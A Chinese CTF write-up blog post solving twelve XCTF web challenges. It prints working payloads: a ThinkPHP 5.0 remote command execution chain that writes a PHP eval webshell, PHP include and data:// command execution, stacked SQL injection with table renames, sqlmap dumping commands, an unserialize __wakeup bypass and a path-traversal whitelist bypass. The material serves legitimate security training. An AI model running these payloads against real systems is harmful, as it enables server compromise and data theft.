攻防世界 web 进阶题 001-012

目录

001 baby_web

002 Training-WWW-Robots

003 Web_php_unserialize

004 php_rce

005 web_php_include

006.supersqli

007.ics-06

008.warmup

009 NewsCenter

010 NaNNaNNaNNaN-Batman

011  web2

012  PHP2



001 baby_web

题目:

方法一:
访问index.php,同时burp抓包,发给repeater分析,go,查看响应头,会得到flag。
方法二:
火狐浏览器,访问index.php,按F12,在网络部分中,响应头里有flag。收获:项目入口文件index.php.index.php文件是一个php网站首页文件,index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx。(取材于某度)

 

002 Training-WWW-Robots

题目:打开会看到百度翻译:在这个小小的训练挑战中,您将了解Robots_exclusion_standard。
txt文件被网络爬虫用来检查他们是否被允许爬行和索引你的网站,或仅仅它的一部分。
有时这些文件会显示目录结构,而不是保护内容不被抓取。
享受吧!
查一下关于robots.txt的资料.
方法:访问robots.txt,结果如下
然后继续访问,f10g.php,得到flag.

收获:当一个搜索机器人(有的叫搜索蜘蛛)访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,那么搜索机器人就沿着链接抓取。并且,robots.txt必须放在一个站点的根目录下,而且文件名必须是小写。robots.txt就是告知搜索引擎哪些是允许访问的,哪些是不想被搜索引擎收录的。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。但是,robots.txt不是防火墙,不能阻止访问。

 

003 Web_php_unserialize

题目:打开后是这样一堆代码,那就是要进行代码审计了

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

1. isset()函数作用事检测变量是否存在,

若变量不存在则返回false;

若变量存在但是其值为null,也返回false;

若变量存在且其值不为null,则返回true.

2.  _construct(),类的构造函数;

     _destruct(),类的析构函数。

3. highlight_file(file) ,高亮显示出文件。

分析一下:首先是绕过正则匹配,然后进行反序列化,反序列化函数执行前,会执行wakeup()函数,故还要绕过wakeup()函数:
绕过正则匹配可以在//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}中
4前面加上‘+’,   1表示Demo类的变量数
而wakeup()函数 当成员属性数目大于实际数目时可绕过wakeup方法  故把1改为2  

O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
然后进行base64编码,然后传参,即可得到flag.

__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项.
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象.

#python代码
import base64
 
st = 'O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}'.encode()#默认以utf8编码
res = base64.b64encode(st)
print(res.decode())#默认以utf8解码
res = base64.b64decode(res)
print(res.decode())#默认以utf8解码

#结果:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
#O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

 (注意:不要用在线base64编码,我当时搞了好久,最后发现在线编码得出的结果不太正确),下面是payload.

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 或者可以用requests库

 

注意:

1.编码与解码的处理对象是byte,故对原数据要先编码,使原本的str类型变成byte,解码后直接输出来的是byte对象,故要解码成str对象。

2.%20是网页地址的空格符。html中的空格符是& nbsp;因为地址不能包含空格。它是序列化后的空格符。
在url传递参数的时候,一般都会序列化一下,以保证参数的安全。

 

004 php_rce

题目:打开题目后,看到如图:
发现是一个ThinkPHP的框架而且正好是v5.0版本。这个版本存在远程命令执行的漏洞,程序未对控制器进行过滤,导致攻击者可以通过\符号调用任意类。
方法一:利用system函数远程命令执行
使用payload

 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

来列出当前目录。


发现有如上图显示,但是未找到flag,则../返回上一级目录

加一个../,没有发现flag,继续第二个

http://220.249.52.133:40195/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../

再加上../,得到

还是没有flag,继续加../,加上三个../后,

我们看到了flag,然后用payload得到flag.

然后用得到flag.

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag

 

方法二:直接查找flag

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag"

得到如下图,说明存在flag.

然后用cat命令得到flag

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

收获:
s=index/think\App/invokeFunction&function=call_(user_func_array&vars[0]=system&vars[1][]=find / -name "*flag"  查找flag.
方法三:通过phpinfo函数写出phpinfo()的信息
该漏洞成因,大佬关于该漏洞的文章
payload如下,访问成功会显示如下界面,

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


访问成功后,然后直接写入shell,

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=eei.php&vars[1][]=%3C?phphighlight_file(__FILE__);@eval($_POST[sss]);?%3E


写入成功后会返回文件大小,(我返回的是51)
接着尝试去访问test.php,蚁剑url为http://220.249.52.133:55370/eei.php , 密码为sss,成功连接(我用菜刀连接好几次不成功,如有成功的欢迎在评论区发言)

http://220.249.52.133:55370/eei.php


成功写入shell后,蚁剑上场。得到flag.

 

 

005 web_php_include

题目:开头即代码审计:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>


    //打印当前PHP页面的代码,即打开页面后该页面的源代码会显示在页面上
    show_source(__FILE__);    
    //该段不解析作为一个字符串原样输出,高亮,只是原样输出,没有什么特别的
    highlight_string('<?php phpinfo(); ?>');
    //打印当前PHP页面的代码,即打开页面后该页面的源代码会显示在页面上
    highlight_file(__FILE__);

 strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。
该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。

strstr (string,search)                      //string 被搜素的字符串,   search   搜索的字符串

str_replace()函数
示例:str_replace("a", "apple", "I like eat apple.");

说明:在$subject中将$search字符串替换为$replace字符串即可。

返回:"I like eapplet applepple."。

$page=str_replace("php://", "", $page);  //可以看到这个函数将php://给替换了,所以
用http://

方法一:代码审计

查看目录
http://220.249.52.133:34669/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
查看fl4gisisish3r3.php文件
http://220.249.52.133:34669/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
或者
http://220.249.52.133:34669/?page=data://text/plain,<?system('cat fl4gisisish3r3.php');?>
system('cat fl4gisisish3r3.php');的结果返回在页面源码中,需查看页面源码才能看到

推荐一篇文章:php伪协议相关总结
方法二:php输入流php://input


burp 抓包,将get传参方式改为post方式,然后将传入的参数改为<?php system("ls");?>,然后send发送,即可得到目录,继而访问,即可得到flag。

      关于php输入流php://input    php输入流相关网站
1,Content- Type取值为application/x-www-form-urlencoded时,php会将http请求body相应数据会填入到数 组$_POST,填入到$_POST数组中的数据是进行urldecode()解析的结果。(其实,除了该Content-Type,还有 multipart/form-data表示数据是表单数据,稍后我们介绍)
2,php://input数据,只要Content-Type不为 multipart/form-data(该条件限制稍后会介绍)。那么php://input数据与http entity body部分数据是一致的。该部分相一致的数据的长度由Content-Length指定。
3,仅当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据才是”一致”(打上引号,表示它们格式不一致,内容一致)的。其它情况,它们都不一致。
4,php://input读取不到$_GET数据。是因为$_GET数据作为query_path写在http请求头部(header)的PATH字段,而不是写在http请求的body部分。
推荐一个伪协议学习相关网站

方法三:御剑扫描,写入一段木马,菜刀或者蚁剑连接

推荐xctf大佬的wp

006.supersqli

题目简介:随便注
打开后是个这
如果输入关键词select,发现
返回的是

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);


说明关键词被禁止
试一下堆叠注入:

1';show databases;#    查询所有数据库


再试试

1';show tables;#    查询所有表


返回了1919810931114514和words表

1';show columns from words;#     查询words表中的所有列


并没有和flag有关的
故此时查询另一个1919810931114514表中的所有列

1';show columns from `1919810931114514`;#    (字符串为表名操作时要加反引号)


这时看到了flag
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

007.ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
打开后是一个工控云管理系统,左边的项目只有报表中心可以进入,进入后如图
http://220.249.52.133:49900/index.php?id=1
进行爆破,发现id是2333,修改url,即可得到flag。

 

008.warmup

题目:WarmUp

1.首先进入,会看到一个表情,F12,看到source.php,进入

2.得到源码,
 查看hint.php,有 flag not here, and flag in ffffllllaaaagggg.

有这样一个函数checkFile(),使其返回值为ture,则可成功。

收获:

1. isset()函数检测变量是否存在,若不存在返回false;若变量存在但值是null,返回false;若变量存在且值不为null,返回ture。

2. is_string()函数用于检测变量是否是字符串,是则返回true,否则返回false。

3. bool in_array ( mixed $needle , array $haystack [, bool $strict ] )函数,检查数组中是否存在某个值,有则返回true;否则返回false。

4. mb_substr(str,start,length,encoding)函数,encoding是字符编码,作用是获取部分字符串。

5.  mb_strpos()函数-查找字符串在另一个字符串中首次出现的位置。

6. urlencode()函数原理就是首先把中文字符转换为十六进制,然后在每个字符前面加一个标识符%;urldecode()函数与urlencode()函数原理相反,用于解码已编码的 URL 字符串。

(注:这是在BUUCTF做的第一道题,本文还有一些不足,会在之后逐渐补上。)
https://www.bilibili.com/video/BV1hp4y117J3?t=690

代码审计,从中我们可以看到,要包含flag,就要完成emmm函数,返回true值
我们可以看到有三个返回true的地方
第一个:
    if (in_array($page, $whitelist)) {
                return true;
            }显然$page的值在$whitelist中不可能
第二个:
    $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    这个的话显然也是不可能
第三个:
    $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    这个的话可行,url传入的时候,服务端会自动进行一次url解码,然后这里有进行一次url解码,然后截取字符串,这时?file=hint.php%253f/../../../../ffffllllaaaagggg
若payload如上,则能够使$_page为白名单中的一个,这样就可以返回ture了。

 

009 NewsCenter


题目描述:题目环境报错,稍等片刻刷新即可
打开后,是关于两个漏洞的描述

这是个很典型的sql注入题目,在这里用的工具是sqlmap,

sqlmap.py -u http://220.249.52.133:59038 --data="search=1" --dbs


尝试跑出数据库名称
得到了两个数据库

available databases [2]:
[*] information_schema
[*] news


查看数据库

sqlmap.py -u http://220.249.52.133:59038 --data="search=1" -D news --tables


得到两个表

[00:07:06] [INFO] fetching tables for database: 'news'
Database: news
[2 tables]
+--------------+
| news         |
| secret_table |
+--------------+

查看这个神秘的表

sqlmap-uhttp://111.198.29.45:35426--data="search=1"-Tsecret_table--dump


得到
 

Database: news
Table: secret_table
[1 entry]
+----+--------------------------+
| id | fl4g                     |
+----+--------------------------+
| 1  | QCTF{sq1_inJec7ion_ezzz} |
+----+--------------------------+

sqlmap使用精讲:sqlmap
这位大佬太强啦,我在学他的文章。
关于f12开发者工具 ctrl + f   可以进行查找 ,适用于各种签到题

010 NaNNaNNaNNaN-Batman


题目:首先下载附件,得到了一个web100的文件。

方法一:

因为<script>便猜测其是js文件
所以将其放在HBuilderX中,发现将代码最后面的eval(_)改为alert(_),即可消除乱码
然后将其进行整理

function $()
        {var e=document.getElementById("c").value;
        if(e.length==16)
        if(e.match(/^be0f23/)!=null)
        if(e.match(/233ac/)!=null)
        if(e.match(/e98aa$/)!=null)
        if(e.match(/c7be9/)!=null)
        {var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
        for(var o=0;o<13;++o)
        {document.write(s[o%4][0]);
        s[o%4].splice(0,1)}}}
        document.write('<input id="c"><button onclick=$()>Ok</button>');
        delete _;


在开发者工具的控制台中,将上述代码输入,然后运行。发现需要输入一段代码,
代码审计:发现要输入一段字符串,要求如下:
以be0f23为开头,以e98aa$为结尾,同时还要包含233ac和c7be9,起初我把这些字符串进行直接叠加,但是结果不对,后来发现这些字符之间有些联系,比如,be0f23和33ac可以共用3,其后的c同样可以共用。
得到be0f233ac7be98aa,输入进输入框,即可得到flag。

方法二:

同时发现运行

var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1)
        }


同样可以直接得到flag。

011  web2

题目:代码审计

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    }
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>


关于上面的函数,有个大佬写得很好,在这里借用一下。
    strrev(string): 反转字符串
    strlen(string): 返回字符串的长度
    substr(string, start, length): 返回字符串的一部分(string: 所需要的字符串 start: 在字符串何处开始 length: 可选。规定被返回字符串的长度。默认是直到字符串的结尾)
    ord(string): 返回字符串首个字符的 ASCII 值
    chr(): 从指定的 ASCII 值返回对应的字符
    str_rot13(string): 对字符串执行 ROT13 编码。
        ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变
        编码和解码都是由该函数完成的。如果把已编码的字符串作为参数,那么将返回原始字符串
    base64_encode(string): 使用 MIME base64 对数据进行编码

 

代码审计一波:
1.对传入的$str用strrev()函数进行反转;
2.接下来是一个循环语句:
    1)取$str的每一个字符,用ord()函数,取其ASCII码然后加1;
    2)继续对字符用chr()函数转成对应的字符
    3)将字符拼接
3.base64_encode()编码操作
4.strrev()反转字符串
5.str_rot13()加密操作
得到的结果是$miwen

方法:进行逆向解密
代码如下:

<?php
$a='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$flag='';
$b=base64_decode(strrev(str_rot13($a)));//rot13解码,字符串反转,64解码
for($c=0;$c<strlen($b);$c++) {        //循环语句
    $d = substr($b, $c, 1);
    $f = chr(ord($d) - 1);
    $flag = $flag . $f;
}
echo strrev($flag);        //反转字符串
?>


放进phpstrom里运行即可得到flag

012  PHP2


题目简介:进去之后是这样滴~
Can you anthenticate to this website?
网易翻译:你能登录这个网站吗?
查看其他大佬的wp,得知这是关于phps的题目,
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服> 务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。
打开index.phps后,得到
 

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!
"; echo "

Key: xxxxxxx
"; } ?> Can you anthenticate to this website?

代码审计:
需要传参admin,因为get传参时,会自动进行一次url编码,故需要两次url编码,这是就需要burpsuite了,进行两次编码,如图,

 payload:

?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65


即可得到flag。

 

 

 

 

 

 

 

 

 

 

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值